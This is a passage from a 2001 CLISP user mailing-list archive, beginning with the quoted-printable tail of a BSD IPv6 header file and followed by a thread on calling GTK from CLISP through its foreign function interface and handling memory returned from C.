must=20be=20a=20neighbor.=20XXX=20old=20spec=20*/=0A#define=20= IPV6_RTHDR_TYPE_0=20=20=20=200=20/*=20IPv6=20routing=20header=20type=200=20= */=0A=0A/*=0A=20*=20Defaults=20and=20limits=20for=20options=0A=20*/=0A= #define=20IPV6_DEFAULT_MULTICAST_HOPS=201=09/*=20normally=20limit=20= m'casts=20to=201=20hop=20=20*/=0A#define=20IPV6_DEFAULT_MULTICAST_LOOP=20= 1=09/*=20normally=20hear=20sends=20if=20a=20member=20=20*/=0A=0A/*=0A=20= *=20Argument=20structure=20for=20IPV6_JOIN_GROUP=20and=20= IPV6_LEAVE_GROUP.=0A=20*/=0Astruct=20ipv6_mreq=20{=0A=09struct=20= in6_addr=09ipv6mr_multiaddr;=0A=09u_int=09=09ipv6mr_interface;=0A};=0A=0A= /*=0A=20*=20IPV6_PKTINFO:=20Packet=20information(RFC2292=20sec=205)=0A=20= */=0Astruct=20in6_pktinfo=20{=0A=09struct=20in6_addr=20ipi6_addr;=09/*=20= src/dst=20IPv6=20address=20*/=0A=09u_int=20ipi6_ifindex;=09=09/*=20= send/recv=20interface=20index=20*/=0A};=0A=0A/*=0A=20*=20Argument=20for=20= IPV6_PORTRANGE:=0A=20*=20-=20which=20range=20to=20search=20when=20port=20= is=20unspecified=20at=20bind()=20or=20connect()=0A=20*/=0A#define=09= IPV6_PORTRANGE_DEFAULT=090=09/*=20default=20range=20*/=0A#define=09= IPV6_PORTRANGE_HIGH=091=09/*=20"high"=20-=20request=20firewall=20bypass=20= */=0A#define=09IPV6_PORTRANGE_LOW=092=09/*=20"low"=20-=20vouchsafe=20= security=20*/=0A=0A#if=20!defined(_XOPEN_SOURCE)=0A/*=0A=20*=20= Definitions=20for=20inet6=20sysctl=20operations.=0A=20*=0A=20*=20Third=20= level=20is=20protocol=20number.=0A=20*=20Fourth=20level=20is=20desired=20= variable=20within=20that=20protocol.=0A=20*/=0A#define=20IPV6PROTO_MAXID=09= (IPPROTO_PIM=20+=201)=09/*=20don't=20list=20to=20IPV6PROTO_MAX=20*/=0A=0A= #define=20CTL_IPV6PROTO_NAMES=20{=20\=0A=09{=200,=200=20},=20{=200,=200=20= },=20{=200,=200=20},=20{=200,=200=20},=20{=200,=200=20},=20\=0A=09{=200,=20= 0=20},=20\=0A=09{=20"tcp6",=20CTLTYPE_NODE=20},=20\=0A=09{=200,=200=20},=20= \=0A=09{=200,=200=20},=20\=0A=09{=200,=200=20},=20\=0A=09{=200,=200=20},=20= {=200,=200=20},=20{=200,=200=20},=20{=200,=200=20},=20{=200,=200=20},=20= \=0A=09{=200,=200=20},=20\=0A=09{=200,=200=20},=20\=0A=09{=20"udp6",=20= CTLTYPE_NODE=20},=20\=0A=09{=200,=200=20},=20\=0A=09{=200,=200=20},=20\=0A= =09{=200,=200=20},=20{=200,=200=20},=20{=200,=200=20},=20{=200,=200=20},=20= {=200,=200=20},=20\=0A=09{=200,=200=20},=20{=200,=200=20},=20{=200,=200=20= },=20{=200,=200=20},=20{=200,=200=20},=20\=0A=09{=200,=200=20},=20{=200,=20= 0=20},=20{=200,=200=20},=20{=200,=200=20},=20{=200,=200=20},=20\=0A=09{=20= 0,=200=20},=20{=200,=200=20},=20{=200,=200=20},=20{=200,=200=20},=20{=20= 0,=200=20},=20\=0A=09{=200,=200=20},=20\=0A=09{=20"ip6",=20CTLTYPE_NODE=20= },=20\=0A=09{=200,=200=20},=20\=0A=09{=200,=200=20},=20\=0A=09{=200,=200=20= },=20\=0A=09{=200,=200=20},=20{=200,=200=20},=20{=200,=200=20},=20{=200,=20= 0=20},=20{=200,=200=20},=20\=0A=09{=200,=200=20},=20\=0A=09{=20"ipsec6",=20= CTLTYPE_NODE=20},=20\=0A=09{=200,=200=20},=20\=0A=09{=200,=200=20},=20\=0A= =09{=200,=200=20},=20\=0A=09{=200,=200=20},=20\=0A=09{=200,=200=20},=20\=0A= =09{=200,=200=20},=20\=0A=09{=20"icmp6",=20CTLTYPE_NODE=20},=20\=0A=09{=20= 0,=200=20},=20\=0A=09{=200,=200=20},=20{=200,=200=20},=20{=200,=200=20},=20= {=200,=200=20},=20{=200,=200=20},=20\=0A=09{=200,=200=20},=20{=200,=200=20= },=20{=200,=200=20},=20{=200,=200=20},=20{=200,=200=20},=20\=0A=09{=200,=20= 0=20},=20{=200,=200=20},=20{=200,=200=20},=20{=200,=200=20},=20{=200,=20= 0=20},=20\=0A=09{=200,=200=20},=20{=200,=200=20},=20{=200,=200=20},=20{=20= 0,=200=20},=20{=200,=200=20},=20\=0A=09{=200,=200=20},=20{=200,=200=20},=20= {=200,=200=20},=20{=200,=200=20},=20{=200,=200=20},=20\=0A=09{=200,=200=20= },=20{=200,=200=20},=20{=200,=200=20},=20{=200,=200=20},=20{=200,=200=20= },=20\=0A=09{=200,=200=20},=20{=200,=200=20},=20{=200,=200=20},=20{=200,=20= 0=20},=20{=200,=200=20},=20\=0A=09{=200,=200=20},=20{=200,=200=20},=20{=20= 0,=200=20},=20{=200,=200=20},=20{=200,=200=20},=20\=0A=09{=200,=200=20},=20= \=0A=09{=200,=200=20},=20\=0A=09{=200,=200=20},=20\=0A=09{=20"pim6",=20= CTLTYPE_NODE=20},=20\=0A}=0A=0A/*=0A=20*=20Names=20for=20IP=20sysctl=20= objects=0A=20*/=0A#define=20IPV6CTL_FORWARDING=091=09/*=20act=20as=20= router=20*/=0A#define=20IPV6CTL_SENDREDIRECTS=092=09/*=20may=20send=20= redirects=20when=20forwarding*/=0A#define=20IPV6CTL_DEFHLIM=09=093=09/*=20= default=20Hop-Limit=20*/=0A#ifdef=20notyet=0A#define=20IPV6CTL_DEFMTU=09=09= 4=09/*=20default=20MTU=20*/=0A#endif=0A#define=20IPV6CTL_FORWSRCRT=095=09= /*=20forward=20source-routed=20dgrams=20*/=0A#define=20IPV6CTL_STATS=09=09= 6=09/*=20stats=20*/=0A#define=20IPV6CTL_MRTSTATS=097=09/*=20multicast=20= forwarding=20stats=20*/=0A#define=20IPV6CTL_MRTPROTO=098=09/*=20= multicast=20routing=20protocol=20*/=0A#define=20IPV6CTL_MAXFRAGPACKETS=09= 9=09/*=20max=20packets=20reassembly=20queue=20*/=0A#define=20= IPV6CTL_SOURCECHECK=0910=09/*=20verify=20source=20route=20and=20intf=20= */=0A#define=20IPV6CTL_SOURCECHECK_LOGINT=2011=09/*=20minimume=20logging=20= interval=20*/=0A#define=20IPV6CTL_ACCEPT_RTADV=0912=0A#define=20= IPV6CTL_KEEPFAITH=0913=0A#define=20IPV6CTL_LOG_INTERVAL=0914=0A#define=20= IPV6CTL_HDRNESTLIMIT=0915=0A#define=20IPV6CTL_DAD_COUNT=0916=0A#define=20= IPV6CTL_AUTO_FLOWLABEL=0917=0A#define=20IPV6CTL_DEFMCASTHLIM=0918=0A= #define=20IPV6CTL_GIF_HLIM=0919=09/*=20default=20HLIM=20for=20gif=20= encap=20packet=20*/=0A#define=20IPV6CTL_KAME_VERSION=0920=0A#define=20= IPV6CTL_USE_DEPRECATED=0921=09/*=20use=20deprecated=20addr=20(RFC2462=20= 5.5.4)=20*/=0A#define=20IPV6CTL_RR_PRUNE=0922=09/*=20walk=20timer=20for=20= router=20renumbering=20*/=0A#if=20MAPPED_ADDR_ENABLED=0A#define=20= IPV6CTL_MAPPED_ADDR=0923=0A#endif=20/*=20MAPPED_ADDR_ENABLED=20*/=0A/*=20= New=20entries=20should=20be=20added=20here=20from=20current=20= IPV6CTL_MAXID=20value.=20*/=0A#define=20IPV6CTL_MAXID=09=0924=0A=0A#if=20= MAPPED_ADDR_ENABLED=0A#define=20IPV6CTL_NAMES_MAPPED_ADDR=09= "mapped_addr"=0A#define=20IPV6CTL_TYPE_MAPPED_ADDR=09CTLTYPE_INT=0A= #define=20IPV6CTL_VARS_MAPPED_ADDR=09&ip6_mapped_addr_on=0A#else=20=20/*=20= MAPPED_ADDR_ENABLED=20*/=0A#define=20IPV6CTL_NAMES_MAPPED_ADDR=090=0A= #define=20IPV6CTL_TYPE_MAPPED_ADDR=090=0A#define=20= IPV6CTL_VARS_MAPPED_ADDR=090=0A#endif=20/*=20MAPPED_ADDR_ENABLED=20*/=0A=0A= #if=20IPV6CTL_BINDV6ONLY=0A#define=20IPV6CTL_NAMES_BINDV6ONLY=09= "bindv6only"=0A#define=20IPV6CTL_TYPE_BINDV6ONLY=09=09CTLTYPE_INT=0A= #define=20IPV6CTL_VARS_BINDV6ONLY=09=09&ip6_bindv6only=0A#else=0A#define=20= IPV6CTL_NAMES_BINDV6ONLY=090=0A#define=20IPV6CTL_TYPE_BINDV6ONLY=090=0A= #define=20IPV6CTL_VARS_BINDV6ONLY=090=0A#endif=0A=0A#define=20= IPV6CTL_NAMES=20{=20\=0A=09{=200,=200=20},=20\=0A=09{=20"forwarding",=20= CTLTYPE_INT=20},=20\=0A=09{=20"redirect",=20CTLTYPE_INT=20},=20\=0A=09{=20= "hlim",=20CTLTYPE_INT=20},=20\=0A=09{=20"mtu",=20CTLTYPE_INT=20},=20\=0A=09= {=20"forwsrcrt",=20CTLTYPE_INT=20},=20\=0A=09{=200,=200=20},=20\=0A=09{=20= 0,=200=20},=20\=0A=09{=20"mrtproto",=20CTLTYPE_INT=20},=20\=0A=09{=20= "maxfragpackets",=20CTLTYPE_INT=20},=20\=0A=09{=20"sourcecheck",=20= CTLTYPE_INT=20},=20\=0A=09{=20"sourcecheck_logint",=20CTLTYPE_INT=20},=20= \=0A=09{=20"accept_rtadv",=20CTLTYPE_INT=20},=20\=0A=09{=20"keepfaith",=20= CTLTYPE_INT=20},=20\=0A=09{=20"log_interval",=20CTLTYPE_INT=20},=20\=0A=09= {=20"hdrnestlimit",=20CTLTYPE_INT=20},=20\=0A=09{=20"dad_count",=20= CTLTYPE_INT=20},=20\=0A=09{=20"auto_flowlabel",=20CTLTYPE_INT=20},=20\=0A= =09{=20"defmcasthlim",=20CTLTYPE_INT=20},=20\=0A=09{=20"gifhlim",=20= CTLTYPE_INT=20},=20\=0A=09{=20"kame_version",=20CTLTYPE_STRING=20},=20\=0A= =09{=20"use_deprecated",=20CTLTYPE_INT=20},=20\=0A=09{=20"rr_prune",=20= CTLTYPE_INT=20},=20\=0A=09{=20IPV6CTL_NAMES_MAPPED_ADDR,=20= IPV6CTL_TYPE_MAPPED_ADDR=20},=20\=0A=09{=20IPV6CTL_NAMES_BINDV6ONLY,=20= IPV6CTL_TYPE_BINDV6ONLY=20},=20\=0A}=0A=0A#ifdef=20__bsdi__=0A#define=20= IPV6CTL_VARS=20{=20\=0A=090,=20\=0A=09&ip6_forwarding,=20\=0A=09= &ip6_sendredirects,=20\=0A=09&ip6_defhlim,=20\=0A=090,=20\=0A=09= &ip6_forward_srcrt,=20\=0A=090,=20\=0A=090,=20\=0A=090,=20\=0A=09= &ip6_maxfragpackets,=20\=0A=09&ip6_sourcecheck,=20\=0A=09= &ip6_sourcecheck_interval,=20\=0A=09&ip6_accept_rtadv,=20\=0A=09= &ip6_keepfaith,=20\=0A=09&ip6_log_interval,=20\=0A=09&ip6_hdrnestlimit,=20= \=0A=09&ip6_dad_count,=20\=0A=09&ip6_auto_flowlabel,=20\=0A=09= &ip6_defmcasthlim,=20\=0A=09&ip6_gif_hlim,=20\=0A=090,=20\=0A=09= &ip6_use_deprecated,=20\=0A=09&ip6_rr_prune,=20\=0A=09= IPV6CTL_VARS_MAPPED_ADDR,=20\=0A=09IPV6CTL_VARS_BINDV6ONLY,=20\=0A}=0A= #endif=0A#endif=20/*=20!_XOPEN_SOURCE=20*/=0A=0A#ifdef=20KERNEL=0Astruct=20= cmsghdr;=0A=0Aint=09in6_cksum=20__P((struct=20mbuf=20*,=20u_int8_t,=20= u_int32_t,=20u_int32_t));=0Aint=09in6_localaddr=20__P((struct=20in6_addr=20= *));=0Aint=09in6_addrscope=20__P((struct=20in6_addr=20*));=0Astruct=09= in6_ifaddr=20*in6_ifawithscope=20__P((struct=20ifnet=20*,=20struct=20= in6_addr=20*));=0Astruct=09in6_ifaddr=20*in6_ifawithifp=20__P((struct=20= ifnet=20*,=20struct=20in6_addr=20*));=0Aextern=20void=20in6_if_up=20= __P((struct=20ifnet=20*));=0A#if=20MAPPED_ADDR_ENABLED=0Astruct=20= sockaddr;=0A=0Avoid=09in6_sin6_2_sin=20__P((struct=20sockaddr_in=20*sin,=0A= =09=09=09=20=20=20=20struct=20sockaddr_in6=20*sin6));=0Avoid=09= in6_sin_2_v4mapsin6=20__P((struct=20sockaddr_in=20*sin,=0A=09=09=09=09=20= struct=20sockaddr_in6=20*sin6));=0Avoid=09in6_sin6_2_sin_in_sock=20= __P((struct=20sockaddr=20*nam));=0Avoid=09in6_sin_2_v4mapsin6_in_sock=20= __P((struct=20sockaddr=20**nam));=0A#endif=20/*=20MAPPED_ADDR_ENABLED=20= */=0A=0A#define=09satosin6(sa)=09((struct=20sockaddr_in6=20*)(sa))=0A= #define=09sin6tosa(sin6)=09((struct=20sockaddr=20*)(sin6))=0A#define=09= ifatoia6(ifa)=09((struct=20in6_ifaddr=20*)(ifa))=0A#endif=20/*=20KERNEL=20= */=0A=0A__BEGIN_DECLS=0Astruct=20cmsghdr;=0A=0Aextern=20int=20= inet6_option_space=20__P((int));=0Aextern=20int=20inet6_option_init=20= __P((void=20*,=20struct=20cmsghdr=20**,=20int));=0Aextern=20int=20= inet6_option_append=20__P((struct=20cmsghdr=20*,=20const=20u_int8_t=20*,=0A= =09int,=20int));=0Aextern=20u_int8_t=20*inet6_option_alloc=20__P((struct=20= cmsghdr=20*,=20int,=20int,=20int));=0Aextern=20int=20inet6_option_next=20= __P((const=20struct=20cmsghdr=20*,=20u_int8_t=20**));=0Aextern=20int=20= inet6_option_find=20__P((const=20struct=20cmsghdr=20*,=20u_int8_t=20**,=20= int));=0A=0Aextern=20size_t=20inet6_rthdr_space=20__P((int,=20int));=0A= extern=20struct=20cmsghdr=20*inet6_rthdr_init=20__P((void=20*,=20int));=0A= extern=20int=20inet6_rthdr_add=20__P((struct=20cmsghdr=20*,=20const=20= struct=20in6_addr=20*,=0A=09=09unsigned=20int));=0Aextern=20int=20= inet6_rthdr_lasthop=20__P((struct=20cmsghdr=20*,=20unsigned=20int));=0A= #if=200=20/*=20not=20implemented=20yet=20*/=0Aextern=20int=20= inet6_rthdr_reverse=20__P((const=20struct=20cmsghdr=20*,=20struct=20= cmsghdr=20*));=0A#endif=0Aextern=20int=20inet6_rthdr_segments=20= __P((const=20struct=20cmsghdr=20*));=0Aextern=20struct=20in6_addr=20= *inet6_rthdr_getaddr=20__P((struct=20cmsghdr=20*,=20int));=0Aextern=20= int=20inet6_rthdr_getflags=20__P((const=20struct=20cmsghdr=20*,=20int));=0A= =0Aextern=20int=20inet6_opt_init=20__P((void=20*,=20size_t));=0Aextern=20= int=20inet6_opt_append=20__P((void=20*,=20size_t,=20int,=20u_int8_t,=0A=09= =09=09=09=20size_t,=20u_int8_t,=20void=20**));=0Aextern=20int=20= inet6_opt_finish=20__P((void=20*,=20size_t,=20int));=0Aextern=20int=20= inet6_opt_set_val=20__P((void=20*,=20size_t,=20void=20*,=20int));=0A=0A= extern=20int=20inet6_opt_next=20__P((void=20*,=20size_t,=20int,=20= u_int8_t=20*,=0A=09=09=09=20=20=20=20=20=20=20size_t=20*,=20void=20**));=0A= extern=20int=20inet6_opt_find=20__P((void=20*,=20size_t,=20int,=20= u_int8_t,=0A=09=09=09=20=20size_t=20*,=20void=20**));=0Aextern=20int=20= inet6_opt_get_val=20__P((void=20*,=20size_t,=20void=20*,=20int));=0A= extern=20size_t=20inet6_rth_space=20__P((int,=20int));=0Aextern=20void=20= *inet6_rth_init=20__P((void=20*,=20int,=20int,=20int));=0Aextern=20int=20= inet6_rth_add=20__P((void=20*,=20const=20struct=20in6_addr=20*));=0A= extern=20int=20inet6_rth_reverse=20__P((const=20void=20*,=20void=20*));=0A= extern=20int=20inet6_rth_segments=20__P((const=20void=20*));=0Aextern=20= struct=20in6_addr=20*inet6_rth_getaddr=20__P((const=20void=20*,=20int));=0A= __END_DECLS=0A=0A#endif=20/*=20!_NETINET6_IN6_H_=20*/=0A= --Apple-Mail-964867117-4-- --Apple-Mail-854788932-3-- From peter.wood@worldonline.dk Thu Mar 29 04:22:01 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14ibRA-0001WC-00 for ; Thu, 29 Mar 2001 04:22:00 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 57974B508 for ; Thu, 29 Mar 2001 14:21:57 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f2TCJX202823; Thu, 29 Mar 2001 14:19:33 +0200 X-Authentication-Warning: localhost.localdomain: prw set sender to peter.wood@worldonline.dk using -f To: clisp-list@lists.sourceforge.net From: Peter Wood Date: 29 Mar 2001 14:19:33 +0200 Message-ID: <807l18lqcq.fsf@localhost.localdomain> Lines: 38 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.2 (Thelxepeia) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] GTK and CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi If some knowledgable person has the time, perhaps they would help me with the following. (I am pretty new to this, so I beg your pardon if my questions are stupid) 1) Is there some good reason nobody seems to go the "ffi way" when doing gui stuff with lisp. Unless I am mistaken, it all seems to be sockets and pipes. Why? 2) I am using a slightly modified CLISP linked to the GTK libraries, and this makes it easy to write gui functions for CLISP in C (using GTK) which can be linked into lisp via FFI. Is there something wrong with doing this in *principle*. 3) So far I have only written a small demo with it but it was ridiculously easy, and seemed to work very well. BUT ... 4) Are there memory issues that I am not seeing. GTK seems pretty solid. But am I introducing a weak link by doing this. What sort of limitations are there in passing data between functions written in Lisp and functions written in C? For example, would it be possible to run a REPL in a gtk window? Or why not write an editor this way? So for example (gtk:ed) ran a gtk function which produced an editor window which would have access to CLISP's power. 5) Example 29.4 in the impnotes shows how a memory leak can occur - Is this sort of thing generally a serious problem, or can workarounds be found? Could one not solve many memory problems by breaking up (problematic) complex, Lisp data structures before passing them to C, as simple types, where they could be reassembled by C functions, and free()'d appropriately? Would this be prohibitively expensive? Apologies for the long post, Peter From marcoxa@cs.nyu.edu Thu Mar 29 07:24:21 2001 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14ieHc-0002Qb-00 for ; Thu, 29 Mar 2001 07:24:20 -0800 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.9.3/8.9.3) id KAA24859; Thu, 29 Mar 2001 10:23:35 -0500 Date: Thu, 29 Mar 2001 10:23:35 -0500 Message-Id: <200103291523.KAA24859@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: peter.wood@worldonline.dk CC: clisp-list@lists.sourceforge.net In-reply-to: <807l18lqcq.fsf@localhost.localdomain> (message from Peter Wood on 29 Mar 2001 14:19:33 +0200) Subject: Re: [clisp-list] GTK and CLISP References: <807l18lqcq.fsf@localhost.localdomain> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > From: Peter Wood > Sender: clisp-list-admin@lists.sourceforge.net > Content-Length: 1760 > > Hi > > If some knowledgable person has the time, perhaps they would help me > with the following. (I am pretty new to this, so I beg your pardon if > my questions are stupid) > > 1) Is there some good reason nobody seems to go the "ffi way" when > doing gui stuff with lisp. Unless I am mistaken, it all seems to be > sockets and pipes. Why? Because things like GTK make and regular Lisp systems make it very difficult to integrate the Event Loop and the REPL. This is the key difficulty. Also in older versions of GTK it was not even possible to get a hold of the X display to do obvious things. IMHO, all in all this is historic. At the time when C and Lisp were the dominant "system" languages, they developed without interoperability in mind. (Common) Lisp lost and now the heritage remains that it is difficult to integrated Lisp and C. Later languages (and toy languages like Scheme) have chosen the path to "sit upon" C and are therefore very good at either been embedded into C or to call C. Calling C is something simple to do with any CL implementation. It is the reverse that is very difficult. Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From Hannu.Koivisto@ionific.com Thu Mar 29 07:59:01 2001 Received: from lynx.ionific.com ([195.197.252.71]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14iepA-00066S-00 for ; Thu, 29 Mar 2001 07:59:00 -0800 Received: from azure by lynx.ionific.com with local (Exim 3.12 #1 (Debian)) id 14iep6-0001TV-00; Thu, 29 Mar 2001 18:58:56 +0300 To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] GTK and CLISP References: <807l18lqcq.fsf@localhost.localdomain> Mail-copies-to: nobody From: Hannu Koivisto Date: 29 Mar 2001 18:58:55 +0300 In-Reply-To: <807l18lqcq.fsf@localhost.localdomain> (Peter Wood's message of "29 Mar 2001 14:19:33 +0200") Message-ID: <874rwcwoqo.fsf@lynx.ionific.com> Lines: 77 User-Agent: Gnus/5.090001 (Oort Gnus v0.01) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Peter Wood writes: | 1) Is there some good reason nobody seems to go the "ffi way" when | doing gui stuff with lisp. Unless I am mistaken, it all seems to be | sockets and pipes. Why? You are indeed mistaken. For example, GTK bindings for CMUCL have been done in the "FFI way". Most other GUI toolkits I know of are either Win32 stuff (although I'm sure Win32 GUI calls are done via some sort of FFI) or lay on top of CLX, which talks to the X server via sockets, but that's the way even C programs talk to the X server. Oh, and I recall someone mentioning that MCL's higher level GUI stuff lies on top of foreign functions that one can use directly as well. And of course Genera's GUI needs neither FFI nor sockets/pipes :) | 2) I am using a slightly modified CLISP linked to the GTK libraries, | and this makes it easy to write gui functions for CLISP in C (using | GTK) which can be linked into lisp via FFI. Is there something wrong | with doing this in *principle*. I don't see anything fundamentally wrong with it. I don't think it would be my preference, though; I'd rather write FFI definitions directly for GTK functions, but then again, I don't need to use GTK with CLISP so I haven't really thought about this. | 4) Are there memory issues that I am not seeing. GTK seems pretty | solid. But am I introducing a weak link by doing this. What sort of Well, I guess there is almost always a weak link at some point if you consider calling C code a weak link :) Of course you must be extra careful with FFI stuff, because problems there can cause Lisp to crash whereas problems with plain Lisp code just throw you to the debugger. At least in principle :) | limitations are there in passing data between functions written in | Lisp and functions written in C? For example, would it be possible to I don't think there are much limitations that can't be overcome. Some things might be awkward to express with CLISP's FFI but then you could always write a little bit of glue code in C. | run a REPL in a gtk window? Or why not write an editor this way? So If you have a Lisp interface to GTK, I don't see anything that would prevent you from writing whatever you want with it, let it be REPL, editor or Gimp-in-CL. | 5) Example 29.4 in the impnotes shows how a memory leak can occur - Is | this sort of thing generally a serious problem, or can workarounds be | found? Workarounds can be found; I think the memory problem was left there in order to keep the example simple or just to demonstrate how one can accidentally introduce memory leaks. | Could one not solve many memory problems by breaking up | (problematic) complex, Lisp data structures before passing them to C, | as simple types, where they could be reassembled by C functions, and | free()'d appropriately? Would this be prohibitively expensive? The problem in that example was not in passing complex Lisp structures to C but returning malloc'ed data from C to Lisp. You just need to either tell user to free it manually (just as he would have to with C code), use finalization or perhaps convert the data structure to some Lisp object and free the resource allocated by C immediately after that so that the user doesn't have to free it (he just gets a Lisp object that is garbage collected normally). You might end up using the last approach semi-automatically because you often want to convert the data returned by C code to some higher level Lisp object (if you didn't, the user of your interface would probably end up doing it anyway). The best solution varies case by case, of course. -- Hannu Please don't send copies of list mail From peter.wood@worldonline.dk Thu Mar 29 09:25:51 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14igBD-0008Nl-00 for ; Thu, 29 Mar 2001 09:25:51 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 41FF8B4D7 for ; Thu, 29 Mar 2001 19:25:48 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f2THNXU00160; Thu, 29 Mar 2001 19:23:33 +0200 X-Authentication-Warning: localhost.localdomain: prw set sender to peter.wood@worldonline.dk using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] GTK and CLISP References: <807l18lqcq.fsf@localhost.localdomain> <874rwcwoqo.fsf@lynx.ionific.com> From: Peter Wood Date: 29 Mar 2001 19:23:33 +0200 In-Reply-To: <874rwcwoqo.fsf@lynx.ionific.com> Message-ID: <80lmpo5w16.fsf@localhost.localdomain> Lines: 21 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.2 (Thelxepeia) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hannu Koivisto writes: > > The problem in that example was not in passing complex Lisp > structures to C but returning malloc'ed data from C to Lisp. You > just need to either tell user to free it manually (just as he would > have to with C code), use finalization or perhaps convert the data > structure to some Lisp object and free the resource allocated by C > immediately after that so that the user doesn't have to free it (he > just gets a Lisp object that is garbage collected normally). You > might end up using the last approach semi-automatically because you > often want to convert the data returned by C code to some higher > level Lisp object (if you didn't, the user of your interface would > probably end up doing it anyway). The best solution varies case by > case, of course. > Yes, thanks. I had it the wrong way round. I like the last solution you mention. Peter From rurban@xarch.tu-graz.ac.at Thu Mar 29 10:37:19 2001 Received: from [129.27.43.9] (helo=xarch.tu-graz.ac.at) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14ihIN-0004Uj-00 for ; Thu, 29 Mar 2001 10:37:19 -0800 Received: from localhost (rurban@localhost) by xarch.tu-graz.ac.at (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id UAA10460; Thu, 29 Mar 2001 20:37:13 +0200 Date: Thu, 29 Mar 2001 20:37:13 +0200 (CEST) From: Reini Urban To: Peter Wood cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] GTK and CLISP In-Reply-To: <80lmpo5w16.fsf@localhost.localdomain> Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On 29 Mar 2001, Peter Wood wrote: > Yes, thanks. I had it the wrong way round. I like the last solution > you mention. you might also want to see the new gtk-emacs. this is implemented by a simple ffi. From earneson@musiciansfriend.com Thu Mar 29 15:03:19 2001 Received: from panoramix.valinux.com ([198.186.202.147] helo=mail2.valinux.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14ilRm-0003ag-00 for ; Thu, 29 Mar 2001 15:03:18 -0800 Received: from marge.musiciansfriend.com ([208.137.126.51] helo=earth.musiciansfriend.com) by mail2.valinux.com with esmtp (Exim 3.22 #1 (Debian)) id 14ilD3-0007pM-00 for ; Thu, 29 Mar 2001 14:48:05 -0800 Received: from sif.musiciansfriend.com.musiciansfriend.com ([172.16.4.22]) by earth.musiciansfriend.com (Netscape Messaging Server 3.52) with ESMTP id AAA4B09 for ; Thu, 29 Mar 2001 14:44:15 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15043.47938.190119.680600@sif.musiciansfriend.com> Date: Thu, 29 Mar 2001 14:46:26 -0800 To: clisp-list@lists.sourceforge.net X-Mailer: VM 6.90 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid X-Face: 5cn>qK@1OR6I-8MTrOxM$uWT{q,+]tk>lw=d"k3z;kz&?EWr!I}*M1\owVgP[N7D0v@l}Q&xVi1y$_$KJ_cZU>A.PV~*i,2veR@'ALMDk&8@}Bj^UTyy](qQV+Ba#k-lsYs|sa~CIKW~Q[\#|.*mKUsa!5KP$i."L#:vnUdzRLOusI%ODk#V]}u`cx0+s1pp,Py|=d2d From: "Erik Arneson" Subject: [clisp-list] The lighter side of Lisp... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: 